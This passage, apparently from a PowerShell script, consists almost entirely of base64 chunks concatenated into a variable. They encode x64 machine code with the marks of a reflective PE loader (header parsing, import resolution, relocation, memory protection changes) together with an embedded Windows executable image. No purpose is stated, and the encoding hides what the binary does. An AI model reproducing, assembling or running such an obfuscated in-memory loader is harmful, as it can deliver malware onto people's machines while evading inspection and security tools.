wUhjDCRIi1QkGA+3DEqB4f8PAABIY8lIA8FIiUQkKEiLRCQoiwADRCQgSItMJC';
$dat += 'iJAUhjBCRIi0wkGA+3BEHB+AyD+Ap1SEiLRCQIiwBIi0wkUEiLCUgDyEiLwUhjDCRIi1QkGA+3DEqB4f8PAABIY8lIA8FIiUQkMEiLRCQwSIsASANEJCBIi0wkMEiJAekv////SItEJAiLQARIi0wkCEgDyEiLwUiJRCQI6cr+//+4AQAAAEiDxEjDzMxIiUwkCEiB7IgAAABIg7wkkAAAAAB0HUiLhCSQAAAASIN4EAB0DkiLhCSQAAAASIM4AHUHM8DpUAIAAEiLhCSQAAAASItAEEiLQAhIiUQkYEiLhCSQAAAASItAEEiLQBBIiUQkaEiLhCSQAAAASItAEEiLAEiJRCRYSIuEJJAAAABIiwBIY0A8SIuMJJAAAABIAwFIiUQkOLgIAAAASGvAAUiLTCQ4g7wBiAAAAAB0GLgIAAAASGvAAUiLTCQ4g7wBjAAAAAB1CrgBAAAA6bkBAAC4CAAAAEhrwAFIi0wkOIuEAYgAAABIi4wkkAAAAEgDAUiJRCQg6w5Ii0QkIEiDwBRIiUQkIEiLRCQgg3gMAA+EcAEAAEiLRCQgi0AMSIuMJJAAAABIAwFIiUQkUEiLTCRQ/1QkYEiJRCQwSIN8JDAAdQ5Ii0wkUP9UJGhIiUQkMEiDfCQwAHUWSIuEJJAAAADHQCAEAAAAM8DpGwEAAEjHRCQoAAAAAEiLRCQggzgAdBlIi0QkIIsASIuMJJAAAABIAwFIiUQkKOsYSItEJCCLQBBIi4wkkAAAAEgDAUiJRCQoSItEJCCLQBBIi4wkkAAAAEgDAUiJRCRA6xxIi0QkKEiDwAhIiUQkKEiLRCRASIPACEiJRCRASItEJChIgzgAD4SIAAAASMdEJEgAAAAASItEJChIuQAAAAAAAACASIsASCPBSIXAdCFIi0QkKEiLAEgl//8AAEiL0EiLTCQw/1QkWEiJRCRI6zJIi4QkkAAAAEiLAEiLTCQoSAMBSIlEJHBIi0QkcEiDwAJIi9BIi0wkMP9UJFhIiUQkSEiLRCRASItMJEhIiQjpTf///+lz/v//uAEAAABIgcSIAAAAw8zMzMzMzMzMzMzMzMxIiUwkCEiB7KgAAABIg7wksAAAAAB0D0iLhCSwAAAASIN4EAB1BzPA6X8CAADHRCRwAQAAAMdEJHQIAAAAx0QkeAIAAADHRCR8BAAAAMeEJIAAAAAQAAAAx4QkhAAAAIAAAADHhCSIAAAAIAAAAMeEJIwAAABAAAAASIuEJLAAAABIi0AQSItAKEiJhCSYAAAASIuEJLAAAABIi0AQSItAIEiJhCSQAAAASIuEJLAAAABIiwBIiUQkUEjHRCRgAAAAAEiLhCSwAAAASLkAAAAA/////0iLAEgjwUiJRCRgSItEJFBIY0A8SItMJFBIA8hIi8FIiUQkWEiLRCRYD7dABolEJEBIi0QkWEgFCAEAAEiJRCRIx0QkIAAAAADrCotEJCD/wIlEJCCLRCRAOUQkIA+NcAEAAMdEJCgAAAAAx0QkRAAAAADHRCQwAAAAAMdEJDQAAAAAx0QkOAAAAADHRCQ8AAAAAEhjRCQgSGvAKEiLTCRIi0QBCEgLRCRgSIlEJGhIY0QkIEhrwChIi0wkSItEARCJRCQsg3wkLAB1Bel6////SGNEJCBIa8AoSItMJEiLRAEkiUQkJItEJCQlAAAAAoXAdB2LRCQsQbgAQAAAi9BIi0wkaP+UJJAAAADpOv///4tEJCQlAAAAIIXAdAjHRCQwAQAAAItEJCQlAAAAQIXAdAjHRCQ0AQAAAItEJCQlA';
$dat += 'AAAgIXAdAjHRCQ4AQAAAItEJCQlAAAABIXAdAjHRCQ8AQAAAEhjRCQwSGvAEEiNRARwSGNMJDRIjQTISGNMJDiLBIiJRCQog3wkPAB0DItEJCgPuugJiUQkKItEJCxMjUwkRESLRCQoi9BIi0wkaP+UJJgAAACFwHUTSIuEJLAAAADHQCAFAAAAM8DrCul4/v//uAEAAABIgcSoAAAAw8zMzMzMzMzMzMzMzEiJTCQISIPsSEiDfCRQAHQLSItEJFBIgzgAdQczwOmgAAAASItEJFBIiwBIY0A8SItMJFBIAwFIiUQkMLgIAAAASGvACUiLTCQwSIuEAYgAAABIiUQkKIN8JCgAdQe4AQAAAOtei0QkKEiLTCRQSAMBSIlEJDhIi0QkOEiLQBhIiUQkIEiDfCQgAHQySItEJCBIgzgAdCdFM8C6AQAAAEiLRCRQSIsISItEJCD/EEiLRCQgSIPACEiJRCQg6864AQAAAEiDxEjDzMzMzMzMzMyJVCQQSIlMJAhIg+w4SIN8JEAAdAtIi0QkQEiDOAB1BDPA63FIi0QkQEiLAEhjQDxIi0wkQEgDAUiJRCQoSMdEJCAAAAAASItEJCiDeCgAdQQzwOtASItEJCiLQChIi0wkQEgDAUiJRCQgSIN8JCAAdRBIi0QkQMdAIAYAAAAzwOsTRTPAi1QkSEiLRCRASIsI/1QkIEiDxDjDzMzMzMzMSIlUJBBIiUwkCEiD7HhIg7wkgAAAAAB0DkiLhCSAAAAASIM4AHUHM8DpNwEAAEiLhCSAAAAASIsASGNAPEiLjCSAAAAASAMBSIlEJEC4CAAAAEhrwABIi0wkQIuEAYgAAABIi4wkgAAAAEgDAUiJRCQoSItEJCiLQCBIi4wkgAAAAEgDAUiJRCRISItEJCiLQCRIi4wkgAAAAEgDAUiJRCRYSItEJCiLQBxIi4wkgAAAAEgDAUiJRCRgSItEJCiLQBSJRCQwx0QkIAAAAADrCotEJCD/wIlEJCCLRCQwOUQkIH1/SGNEJCBIi0wkSIsEgYlEJDSLRCQ0SIuMJIAAAABIAwFIiUQkUEiLVCRQSIuMJIgAAADoNQIAAIXAdT9IY0QkIEiLTCRYD7cEQWaJRCQkD7dEJCRIi0wkYIsEgYlEJDiLRCQ4SIuMJIAAAABIAwFIiUQkaEiLRCRo6wfpbf///zPASIPEeMPMzMzMzMxIiUwkCEiD7DhIg3wkQAB0IkiLRCRASIN4EAB0FkiLRCRAg3gcAHQLSItEJEBIgzgAdQLrVkiLRCRASItAEEiLQCBIiUQkIEG4AIAAADPSSItEJEBIiwj/VCQgSItEJEBIxwAAAAAASItEJEDHQAwAAAAASItEJEDHQAgAAAAASItEJEDHQBwAAAAASIPEOMNEiUQkGEiJVCQQiUwkCEiB7CgEAADHBCQAAAAAx0QkBAAAAADrCotEJAT/wIlEJASBfCQEAAEAAH1Wi0QkBMHgGIkEJMdEJAgAAAAA6wqLRCQI/8CJRCQIg3wkCAh9I4sEJMHoH4XAdA+LBCTR4DW3DcEEiQQk6wiLBCTR4IkEJOvMSGNEJASLDCSJTIQg65aLhCQwBAAAiQQki4QkQAQAAIlEJAxIi4QkOAQAAEiJRCQYi0QkDIlEJBCLRCQM/8iJRCQMg3wkEAB0LosEJMHgCI';
$dat += 'sMJMHpGEiLVCQYD7YSM8qLyTNEjCCJBCRIi0QkGEj/wEiJRCQY67mLBCRIgcQoBAAAw8zMzMzMzMzMzMzMzEiJTCQISIPsGMcEJAAAAADrFUiLRCQgSP/ASIlEJCCLBCT/wIkEJEiLRCQgD74AhcB0AuvdiwQkSIPEGMPMzMxIiVQkEEiJTCQISIPsGMYEJADGRCQBAEiLRCQgD7YAiAQkSItEJCBI/8BIiUQkIEiLRCQoD7YAiEQkAUiLRCQoSP/ASIlEJCgPtgQkhcB1DQ+2BCQPtkwkASvB6xgPtgQkD7ZMJAE7wXStD7YEJA+2TCQBK8FIg8QYw8zMzMzMzEiJVCQQSIlMJAhIg+wYM8BmiQQkM8BmiUQkBEiLRCQgD7cAZokEJEiLRCQgSIPAAkiJRCQgD7cEJIP4QXwUD7cEJIP4Wn8LD7cEJIPAIGaJBCRIi0QkKA+3AGaJRCQESItEJChIg8ACSIlEJCgPt0QkBIP4QX4XD7dEJASD+Fp9DQ+3RCQEg8AgZolEJAQPtwQkhcB1DQ+3BCQPt0wkBCvB6xwPtwQkD7dMJAQ7wQ+EZ////w+3BCQPt0wkBCvBSIPEGMPMzMzMzMzMzMzMzMxEiUQkGEiJVCQQSIlMJAhIg+wYi0QkMIkEJItEJDD/yIlEJDCDPCQAdDxIi0QkIEiLTCQoD7cJZokISItEJCBIg8ACSIlEJCBIi0QkKEiDwAJIiUQkKEiLRCQoD7cAhcB1AusC661Ii0QkIEiDxBjDRIlEJBiJVCQQSIlMJAhIg+wYxwQkAAAAAOsIiwQk/8CJBCSLRCQwOQQkcxGLBCRIi0wkIIpUJCiIFAHr3kiLRCQgSIPEGMPMzMzMzMzMzMxMi8lIO9FzL0GLwEj/yUj/ykgDyEgD0EWFwHREDx9AAA+2AkiNUv+IAUiNSf9Bg8D/de1Ji8HDdidFhcB0Ikkr0Q8fQABmZmYPH4QAAAAAAA+2BAqIAUiNSQFBg8D/dfBJi8HDzMzMzMzMzMzMzMzMTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABqW2X5LjoLqi46C6ouOguqOlEIqys6C6o6UQ6rqzoLqnxPDqszOguqfE8PqyA6C6p8TwirJzoLqjpRD6siOguqOlEKqyM6C6ouOgqqTDoLqpBPAqssOguqkE/0qi86C6qQTwmrLzoLqlJpY2guOguqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwDRKShjAAAAAAAAAADwACIgCwIOHQC4AAAAygAAAAAAAHAaAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAA0AEAAAQAAAAAAAADAGAAAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAoFkBAIwAAAAAsAEA4AEAAACQAQBoDQAAAAAAAAAAAAAAwAEARAYAAEhJAQBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwEkBADgBAAAAAAAAAAAAAADQAACwAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABAtwAAABAAAAC4AAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA7JIA';
$dat += 'AADQAAAAlAAAALwAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAALAbAAAAcAEAAAoAAABQAQAAAAAAAAAAAAAAAABAAADALnBkYXRhAABoDQAAAJABAAAOAAAAWgEAAAAAAAAAAAAAAAAAQAAAQF9SREFUQQAA/AAAAACgAQAAAgAAAGgBAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAAOABAAAAsAEAAAIAAABqAQAAAAAAAAAAAAAAAABAAABALnJlbG9jAABEBgAAAMABAAAIAAAAbAEAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiJXCQYVVZXQVZBV0iB7GAIAABIiwXuXwEASDPESImEJFAIAABIx8f/////TIv6SIvHSIvpM/ZmDx+EAAAAAABmOXRBAkiNQAF19Y0ERQIAAACLyESL8OhgJwAASIvYSIXAdQiNQ2/poQEAAE2LxkiL1UiLy+jGHAAAulwAAABIi8voeRQAAEiFwA+E9wAAAEUzyUiJdCQwx0QkKIAAAAC6AAAAgEiLzcdEJCADAAAARY1BA/8Vbr8AAEyL8Eg7x3UN/xVovwAAi/DpsAAAADPSSI1MJFBBuAAIAADo/xcAAEiNRCRAiXQkQEG5AAgAAEiJRCQgTI1EJFC6AQAAAEmLzv8VgMEAAEiLTCRYSIXJdGQPt0QkUGaFwHRaSNHoZok0QUiLy+h9JgAASItMJFhIi8dmOXRBAkiNQAF19Y0ERQIAAACLyIvo6G4mAABIi9hIhcB0G0iLVCRYRIvFSIvI6NobAABIi8v/FcnAAADrBb5vAAAASYvO/xXJvgAAhfYPhXcAAAC6EAAAAI1KMP8Vo74AAEmJB0iFwHUFjXBv61xmg3x7AgBIjX8BdfRIjTx9AgAAALlAAAAASIvX/xV0vgAASYsPSIvQSIXA';
$dat += 'dQuNcG//FWi+AADrJEiJUQhMi8dJiwdIi0gIiBFIi9NJiweJOEmLD0iLSQjoQhsAAEiF23QISIvL6J0lAACLxkiLjCRQCAAASDPM6BMFAABIi5wkoAgAAEiBxGAIAABBX0FeX15dw8zMzMzMzMzMzMzMzEiJXCQQSIl0JBhXSIHskAQAAEiLBa9dAQBIM8RIiYQkgAQAAEiL2UyNBXY2AQBIi9FJi/FIjYwkcAIAAP8Vpr8AAEiNVCQgSI2MJHACAAD/Fbu9AABIi/hIg/j/D4SGAAAA9kQkIBB0ZEyNRCRMSIvTSI2MJHACAAD/FWm/AABIx8D/////SP/AZoM8QwB19kiNlCRwAgAASMfB/////5BI/8FmgzxKAHX2SDvIdh5Mi85MjQXXAAAASI0V6DUBAEiNjCRwAgAA6DP///9IjVQkIEiLz/8VPb0AAIXAdYNIi8//FUC9AABMjQW5NQEASIvTSI2MJHACAAD/Fei+AABIjVQkIEiNjCRwAgAA/xX9vAAASIv4SIP4/3RMDx9AAPZEJCAQdSZMjUQkTEiL00iNjCRwAgAA/xWrvgAASIvWSI2MJHACAADoQwAAAEiNVCQgSIvP/xW9vAAAhcB1wUiLz/8VwLwAAEiLjCSABAAASDPM6HgDAABMjZwkkAQAAEmLWxhJi3MgSYvjX8PMzMxIiVwkGEiJfCQgVUiNrCSw/f//SIHsUAMAAEiLBRdcAQBIM8RIiYVAAgAASIv6M9tIjVQkIEiJXCQg6PH7//+FwA+FCgEAAA9XwEiNTCRQDxFEJCyJXCQ4M9JIi1wkIEG4yAAAAA8RRCQ8x0QkQAwAAAAPEAUnvwAASIlcJEgPEUQkKOiIFAAADxBHCEiNRCQox0WwAQAAAEiNTSDGRbgPDylFoMdF0AEQAABIiUXIx0XAAQAAAP8VFL4AAEG4BAEAAEiNVTBIjU0g/xX4vQAADxAFqb4AAEiLD0iNRTBFM8lIiUQkYEUzwA8pRZBIjVQkUP8VkL0AAEiNTSD/Fc69AABBuAQBAABIjVUwSI1NIP8Vsr0AAA8QBXO+AABIiw9IjUUwRTPJSIlEJGBFM8APKUWQSI1UJFD/FUq9AABIi0sI/xUouwAASIvL/xUfuwAASIuNQAIAAEgzzOgAAgAATI2cJFADAABJi1sgSYt7KEmL413DzMzMzMzMzMzMzMxIiVwkCEiJfCQQVUiNrCSw+///SIHsUAUAAEiLBZdaAQBIM8RIiYVABAAAD1fASMdEJDD/////M8APKUXwSIlFEEyNTdBIjUQkMA8pRdBFM8BIiUQkILr/////DylF4DPJDylFAEjHRfABAAAA/xWFvAAAhcAPhekAAABIi1wkMEiD+/8PhNoAAAAPV8BIjU24M8APEUQkRIlFhA8RRCRUDxFEJGQPEUQkdP8VoLwAAEiNTaj/FZa8AABBuAQBAABIjVUgSI1NuP8VerwAAA8QRahIjUUgRTPASI';
$dat += 'lEJFBIjVQkQLj//wAADylEJEBIi8tmiUWA/xUGvAAAhcB1Xw8oRCRASI097jIBAEiJXZBIjR2bMgEADxFFqA8RRZgPHwBIiwtIjZUwAgAAQbgEAQAA/xXauQAATI1NkEiNjTACAADoqvv//0iDwwhIO9980ZC50AcAAP8VxbkAAOvzuAIAAADrBbgBAAAASIuNQAQAAEgzzOhoAAAATI2cJFAFAABJi1sQSYt7GEmL413DzMzMSIPsOIP6AXUfM8BMjQVe/v//SIlEJChFM8kz0olEJCAzyf8VcLkAALgBAAAASIPEOMPMzMzMzMzMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABIOw3RWAEAdRBIwcEQZvfB//91AcNIwckQ6ZYDAADMzEiD7CiF0nQ5g+oBdCiD6gF0FoP6AXQKuAEAAABIg8Qow+h6BwAA6wXoSwcAAA+2wEiDxCjDSYvQSIPEKOkPAAAATYXAD5XBSIPEKOkYAQAASIlcJAhIiXQkEEiJfCQgQVZIg+wgSIvyTIvxM8no6gcAAITAD4TIAAAA6HEGAACK2IhEJEBAtwGDPaFnAQAAD4XFAAAAxwWRZwEAAQAAAOi8BgAAhMB0T+jLCgAA6PYFAADoHQYAAEiNFfq6AABIjQ3TugAA6A4gAACFwHUp6FkGAACEwHQgSI0VsroAAEiNDaO6AADoih8AAMcFPGcBAAIAAABAMv+Ky+jOCAAAQIT/dT/oFAkAAEiL2EiDOAB0JEiLyOgbCAAAhMB0GEyLxroCAAAASYvOSIsDTIsNProAAEH/0f8FVWEBALgBAAAA6wIzwEiLXCQwSIt0JDhIi3wkSEiDxCBBXsO5BwAAAOjICAAAkMzMzEiJXCQIV0iD7DBAivmLBRVhAQCFwH8NM8BIi1wkQEiDxDBfw//IiQX8YAEA6FcFAACK2IhEJCCDPYpmAQACdTfoawYAAOgGBQAA6P0JAACDJXJmAQAAisvoBwgAADPSQIrP6CEIAAD22Bvbg+MB6G0GAACLw+uiuQcAAADoQwgAAJCQzEiLxEiJWCBMiUAYiVAQSIlICFZXQVZIg+xASYvwi/pMi/GF0nUPORV4YAEAfwczwOnuAAAAjUL/g/gBd0VIiwUAugAASIXAdQrHRCQwAQAAAOsU/xUruQAAi9iJRCQwhcAPhLIAAABMi8aL10mLzuig/f//i9iJRCQwhcAPhJcAAABMi8aL10mLzugV/f//i9iJRCQwg/8BdTaFwHUyTIvGM9JJi87o+fz//0iF9g+VwejG/v//SIsFh7kAAEiFwHQOTIvGM9JJi87/FbS4AACF/3QFg/8DdUBMi8aL10mLzugu/f//i9iJRCQwhcB0KUiLBU25AABIhcB1CY1YAYlcJDDrFEyLxovXSYvO/xVxuAAAi9iJRCQw6wYz24lcJDCLw0iLXCR4SIPEQEFeX17DzMzMSIlcJAhIiXQkEFdIg+wgSYv4i9pIi/GD+gF1Bei7AgAATIvHi9NIi85Ii1wkMEiLdCQ4SIPEIF/pj/7//8zMzEBTSIPsIEiL2TPJ/xUHtgAASIvL/xX2tQAA/xUAtgAASIvIugkEAMBIg8QgW0j/JfS1AABIiUwkCEiD7Di5FwAAAP8V6LUAAIXAdAe5AgAAAM0pSI0Nhl8BAOjJAQAASItEJDhIiQVt';
$dat += 'YAEASI1EJDhIg8AISIkF/V8BAEiLBVZgAQBIiQXHXgEASItEJEBIiQXLXwEAxwWhXgEACQQAwMcFm14BAAEAAADHBaVeAQABAAAAuAgAAABIa8AASI0NnV4BAEjHBAECAAAAuAgAAABIa8AASIsNfVQBAEiJTAQguAgAAABIa8ABSIsNYFQBAEiJTAQgSI0N3LcAAOj//v//SIPEOMPMzEiD7Ci5CAAAAOgGAAAASIPEKMPMiUwkCEiD7Ci5FwAAAP8VAbUAAIXAdAiLRCQwi8jNKUiNDZ5eAQDocQAAAEiLRCQoSIkFhV8BAEiNRCQoSIPACEiJBRVfAQBIiwVuXwEASIkF310BAMcFxV0BAAkEAMDHBb9dAQABAAAAxwXJXQEAAQAAALgIAAAASGvAAEiNDcFdAQCLVCQwSIkUAUiNDSq3AADoTf7//0iDxCjDSIlcJCBXSIPsQEiL2f8V/bUAAEiLu/gAAABIjVQkUEiLz0UzwP8V3bUAAEiFwHQySINkJDgASI1MJFhIi1QkUEyLyEiJTCQwTIvHSI1MJGBIiUwkKDPJSIlcJCD/FZ61AABIi1wkaEiDxEBfw8zMzEBTVldIg+xASIvZ/xWPtQAASIuz+AAAADP/RTPASI1UJGBIi87/FW21AABIhcB0OUiDZCQ4AEiNTCRoSItUJGBMi8hIiUwkMEyLxkiNTCRwSIlMJCgzyUiJXCQg/xUutQAA/8eD/wJ8sUiDxEBfXlvDzMzMSIlcJCBVSIvsSIPsIEiLBahSAQBIuzKi3y2ZKwAASDvDdXRIg2UYAEiNTRj/FYKzAABIi0UYSIlFEP8VbLMAAIvASDFFEP8VWLMAAIvASI1NIEgxRRD/FUCzAACLRSBIjU0QSMHgIEgzRSBIM0UQSDPBSLn///////8AAEgjwUi5M6LfLZkrAABIO8NID0TBSIkFJVIBAEiLXCRISPfQSIkFDlIBAEiDxCBdw0iNDWFhAQBI/yUCswAAzMxIjQ1RYQEA6XQJAABIjQVVYQEAw0iNBVVhAQDDSIPsKOjn////SIMIJOjm////SIMIAkiDxCjDzEiD7CjopwYAAIXAdCFlSIsEJTAAAABIi0gI6wVIO8h0FDPA8EgPsQ0cYQEAde4ywEiDxCjDsAHr98zMzEiD7CjoawYAAIXAdAfotgQAAOsZ6FMGAACLyOgcIAAAhcB0BDLA6wfovyMAALABSIPEKMNIg+woM8noPQEAAITAD5XASIPEKMPMzMxIg+wo6AsJAACEwHUEMsDrEuiOJgAAhMB1B+gJCQAA6+ywAUiDxCjDSIPsKOiHJgAA6PIIAACwAUiDxCjDzMzMSIlcJAhIiWwkEEiJdCQYV0iD7CBJi/lJi/CL2kiL6ejEBQAAhcB1FoP7AXURTIvGM9JIi81Ii8f/FXqzAABIi1QkWItMJFBIi1wkMEiLbCQ4SIt0JEBIg8QgX+kAGQAASIPsKOh/BQAAhcB0EEiNDRxgAQBIg8Qo6T8kAADoBh0AAIXAdQXo4RwAAEiDxCjDSIPsKDPJ6CUmAABIg8Qo6XQIAABAU0iD7CAPtgXXXwEAhcm7AQAAAA9Ew4gFx18BAOh2AwAA6OEHAACEwHUEMsDrFOh4JQAAhMB1CTPJ6BkIAADr6orDSIPEIFvDzMzMQFNIg+wggD2MXwEAAIvZdWeD+QF3aujdBAAAhcB0KIXbdSRIjQ12XwEA6NkjAACFwHUQSI0Nfl8BAOjJIwAAhcB0LjLA6zNmD28FWbMAAEiDyP/zD38FRV8BAEiJBU5fAQDzD38FTl8BAEiJBVdfAQDGBSFfAQABsAFIg8QgW8O5BQAAAOj6AAAAzMxIg+wYTIvBuE1aAABmOQVp3///dXhIYw2c3///SI0VWd///0';
$dat += 'gDyoE5UEUAAHVfuAsCAABmOUEYdVRMK8IPt0EUSI1RGEgD0A+3QQZIjQyATI0MykiJFCRJO9F0GItKDEw7wXIKi0IIA8FMO8ByCEiDwijr3zPSSIXSdQQywOsUg3okAH0EMsDrCrAB6wYywOsCMsBIg8QYw0BTSIPsIIrZ6McDAAAz0oXAdAuE23UHSIcVTl4BAEiDxCBbw0BTSIPsIIA9Q14BAACK2XQEhNJ1DOg2JAAAisvoowYAALABSIPEIFvDzMzMSI0FNWoBAMODJU1eAQAAw0iJXCQIVUiNrCRA+///SIHswAUAAIvZuRcAAAD/FUKvAACFwHQEi8vNKbkDAAAA6MT///8z0kiNTfBBuNAEAADoHwcAAEiNTfD/Fa2wAABIi53oAAAASI2V2AQAAEiLy0UzwP8Vi7AAAEiFwHQ8SINkJDgASI2N4AQAAEiLldgEAABMi8hIiUwkMEyLw0iNjegEAABIiUwkKEiNTfBIiUwkIDPJ/xVCsAAASIuFyAQAAEiNTCRQSImF6AAAADPSSI2FyAQAAEG4mAAAAEiDwAhIiYWIAAAA6IgGAABIi4XIBAAASIlEJGDHRCRQFQAAQMdEJFQBAAAA/xWWrgAAg/gBSI1EJFBIiUQkQEiNRfAPlMNIiUQkSDPJ/xUtrgAASI1MJED/FRquAACFwHUMhNt1CI1IA+i+/v//SIucJNAFAABIgcTABQAAXcPMSIlcJAhXSIPsIEiNHUcrAQBIjT1AKwEA6xJIiwNIhcB0Bv8V0K8AAEiDwwhIO99y6UiLXCQwSIPEIF/DSIlcJAhXSIPsIEiNHRsrAQBIjT0UKwEA6xJIiwNIhcB0Bv8VlK8AAEiDwwhIO99y6UiLXCQwSIPEIF/DwgAAzEiJXCQQSIl0JBhXSIPsEDPAM8kPokSLwUUz20SLy0GB8G50ZWxBgfFHZW51RIvSi/AzyUGNQwFFC8gPokGB8mluZUmJBCRFC8qJXCQEi/mJTCQIiVQkDHVQSIMNe0wBAP8l8D//Dz3ABgEAdCg9YAYCAHQhPXAGAgB0GgWw+fz/g/ggdyRIuQEAAQABAAAASA+jwXMURIsF+FsBAEGDyAFEiQXtWwEA6wdEiwXkWwEAuAcAAABEjUj7O/B8JjPJD6KJBCREi9uJXCQEiUwkCIlUJAwPuuMJcwpFC8FEiQWxWwEAxwXnSwEAAQAAAESJDeRLAQAPuucUD4ORAAAARIkNz0sBALsGAAAAiR3ISwEAD7rnG3N5D7rnHHNzM8kPAdBIweIgSAvQSIlUJCBIi0QkICLDOsN1V4sFmksBAIPICMcFiUsBAAMAAACJBYdLAQBB9sMgdDiDyCDHBXBLAQAFAAAAiQVuSwEAuAAAA9BEI9hEO9h1GEiLRCQgJOA84HUNgw1PSwEAQIkdRUsBAEiLXCQoM8BIi3QkMEiDxBBfw8zMzLgBAAAAw8zMM8A5BahmAQAPlcDDzMzMzA+3wkyLwUUzyWYPbsDyD3DIAGYPcNEASYvAJf8PAABIPfAPAAB3I/NBD28AD1fJZg91yGYPdcJmD+vIZg/XwYXAdR24EAAAAOsRZkE5EHQlZkU5CHQcuAIAAABMA8Drtw+8yEwDwWZBORBND0TISYvBwzPAw0mLwMPMzMxIiVwkCEiJbCQQ';
$dat += 'SIl0JBhXQVRBVUFWQVdIg+xASIvpTYv5SYvISYv4TIvq6AgFAABNi2cITYs3SYtfOE0r9PZFBGZBi3dID4XcAAAASIlsJDBIiXwkODszD4OKAQAAi/5IA/+LRPsETDvwD4KqAAAAi0T7CEw78A+DnQAAAIN8+xAAD4SSAAAAg3z7DAF0F4tE+wxIjUwkMEkDxEmL1f/QhcB4fX50gX0AY3Nt4HUoSIM9fa0AAAB0HkiNDXStAADon5sAAIXAdA66AQAAAEiLzf8VXa0AAItM+xBBuAEAAABJA8xJi9XoGAQAAEmLR0BMi8WLVPsQSYvNRItNAEkD1EiJRCQoSYtHKEiJRCQg/xXvqwAA6BoEAAD/xuk1////M8DpxQAAAEmLfyBEiwtJK/xBO/EPg60AAABFi8GL1kGLyEgD0otE0wRMO/APgogAAACLRNMITDvwc39Ei10EQYPjIHRERTPSRYXAdDRBi8pIA8mLRMsESDv4ch2LRMsISDv4cxSLRNMQOUTLEHUKi0TTDDlEywx0CEH/wkU70HLMQYvJRTvRdT6LRNMQhcB0DEg7+HUkRYXbdSzrHY1GAbEBQYlHSESLRNMMSYvVTQPEQf/QRIsLQYvJ/8ZEi8E78Q+CVv///7gBAAAATI1cJEBJi1swSYtrOEmLc0BJi+NBX0FeQV1BXF/DzEBTSIPsIP8VlKkAAEiFwHQTSIsYSIvI6AQQAABIi8NIhdt17UiDxCBbw8zMSIPsKOjnBAAAhMB1BDLA6xLobgQAAITAdQfoBQUAAOvssAFIg8Qow0iD7CjokwMAAEiFwA+VwEiDxCjDSIPsKDPJ6BEDAACwAUiDxCjDzMxIg+wohMl1CuhvBAAA6MIEAACwAUiDxCjDzMzMSIPsKOhXBAAAsAFIg8Qow0iFyXRniFQkEEiD7EiBOWNzbeB1U4N5GAR1TYtBIC0gBZMZg/gCd0BIi0EwSIXAdDdIY1AEhdJ0EUgDUThIi0ko6CoAAADrIOse9gAQdBlIi0EoSIsISIXJdA1IiwFIi0AQ/xUoqgAASIPESMPMzMxI/+LMzMzMzMzMzMzMzMzMzMzMzMzMZmYPH4QAAAAAAFeLwkiL+UmLyPOqSYvDX8PMzMzMzMxmZg8fhAAAAAAATIvZD7bSSbkBAQEBAQEBAUwPr8pJg/gQD4byAAAAZkkPbsFmD2DASYH4gAAAAHcQ6WsAAABmZmYPH4QAAAAAAPYFsVYBAAJ1lw8RAUwDwUiDwRBIg+HwTCvBTYvIScHpB3Q9TDsN3kYBAA+HYAAAAA8pAQ8pQRBIgcGAAAAADylBoA8pQbBJ/8kPKUHADylB0A8pQeBmDylB8HXUSYPgf02LyEnB6QR0Ew';
$dat += '8fgAAAAAAPEQFIg8EQSf/JdfRJg+APdAZCDxFEAfBJi8PDDx9AAA8rAQ8rQRBIgcGAAAAADytBoA8rQbBJ/8kPK0HADytB0A8rQeAPK0HwddUPrvhJg+B/65xmZmZmDx+EAAAAAABJi9FMjQ0G1v//Q4uEgQCgAQBMA8hJA8hJi8NB/+FmkEiJUfGJUflmiVH9iFH/w5BIiVH0iVH8w0iJUfeIUf/DSIlR84lR+4hR/8MPH0QAAEiJUfKJUfpmiVH+w0iJEMNIiRBmiVAIiFAKww8fRAAASIkQZolQCMNIiRBIiVAIw8zMzMzMzGZmDx+EAAAAAABIiUwkCEiJVCQYRIlEJBBJx8EgBZMZ6wjMzMzMzMxmkMPMzMzMzMxmDx+EAAAAAADDzMzMSIsF9acAAEiNFX74//9IO8J0I2VIiwQlMAAAAEiLiZgAAABIO0gQcgZIO0gIdge5DQAAAM0pw8xIg+woSIXJdBFIjQVUVQEASDvIdAXoogwAAEiDxCjDzEBTSIPsIEiL2YsNFUUBAIP5/3QzSIXbdQ7obgoAAIsNAEUBAEiL2DPS6KYKAABIhdt0FEiNBQpVAQBIO9h0CEiLy+hVDAAASIPEIFvDzMzMSIPsKOgTAAAASIXAdAVIg8Qow+jkGgAAzMzMzEiJXCQISIl0JBBXSIPsIIM9okQBAP91BzPA6ZAAAAD/FZOkAACLDY1EAQCL+OjuCQAASIPK/zP2SDvCdGdIhcB0BUiL8Otdiw1rRAEA6BYKAACFwHROuoAAAACNSoHoBRwAAIsNT0QBAEiL2EiFwHQkSIvQ6O8JAACFwHQSSIvDx0N4/v///0iL3kiL8OsNiw0jRAEAM9LozAkAAEiLy+iMCwAAi8//FQylAABIi8ZIi1wkMEiLdCQ4SIPEIF/DzEiD7ChIjQ2p/v//6MAIAACJBeJDAQCD+